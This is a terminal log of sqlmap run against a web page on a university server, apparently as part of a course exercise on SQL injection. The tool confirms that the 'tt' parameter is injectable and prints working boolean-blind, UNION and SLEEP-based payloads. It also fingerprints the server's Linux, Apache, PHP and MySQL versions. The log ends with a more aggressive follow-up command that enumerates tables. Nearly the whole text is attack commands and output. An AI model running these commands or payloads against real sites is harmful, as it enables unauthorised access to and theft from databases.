root@bt:/pentest/database/sqlmap# python ./sqlmap.py --url https://minotaur.fi.muni.cz:8443/~xkumpost/bis/part3/sql_injection/?tt=1

    sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:09:40

[12:09:40] [INFO] testing connection to the target url
[12:09:40] [INFO] testing if the url is stable, wait a few seconds
[12:09:42] [INFO] url is stable
[12:09:42] [INFO] testing if GET parameter 'tt' is dynamic
[12:09:42] [INFO] confirming that GET parameter 'tt' is dynamic
[12:09:42] [INFO] GET parameter 'tt' is dynamic
[12:09:43] [WARNING] reflective value(s) found and filtering out
[12:09:43] [INFO] heuristic test shows that GET parameter 'tt' might be injectable (possible DBMS: MySQL)
[12:09:43] [INFO] testing for SQL injection on GET parameter 'tt'
[12:09:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:09:48] [INFO] GET parameter 'tt' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[12:09:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[12:09:49] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:09:49] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:09:59] [INFO] GET parameter 'tt' is 'MySQL > 5.0.11 AND time-based blind' injectable
[12:09:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:09:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[12:10:00] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[12:10:01] [INFO] target url appears to have 5 columns in query
[12:10:01] [INFO] GET parameter 'tt' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'tt' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 23 HTTP(s) requests:
---
Place: GET
Parameter: tt
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: tt=1' AND 7157=7157 AND 'nkCS'='nkCS

    Type: UNION query
    Title: MySQL UNION query (NULL) - 5 columns
    Payload: tt=1' LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a6f6c6a3a,0x416f764b527969414442,0x3a6d73623a), NULL, NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: tt=1' AND SLEEP(5) AND 'DADJ'='DADJ
---

[12:10:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Mandriva
web application technology: Apache 2.2.22, PHP 5.3.14
back-end DBMS: MySQL 5.0.11
[12:10:59] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/minotaur.fi.muni.cz'

[*] shutting down at 12:10:59


python ./sqlmap.py --url https://minotaur.fi.muni.cz:8443/~xkumpost/bis/part3/sql_injection/?tt=1 --level 5 --risk 3 --common-tables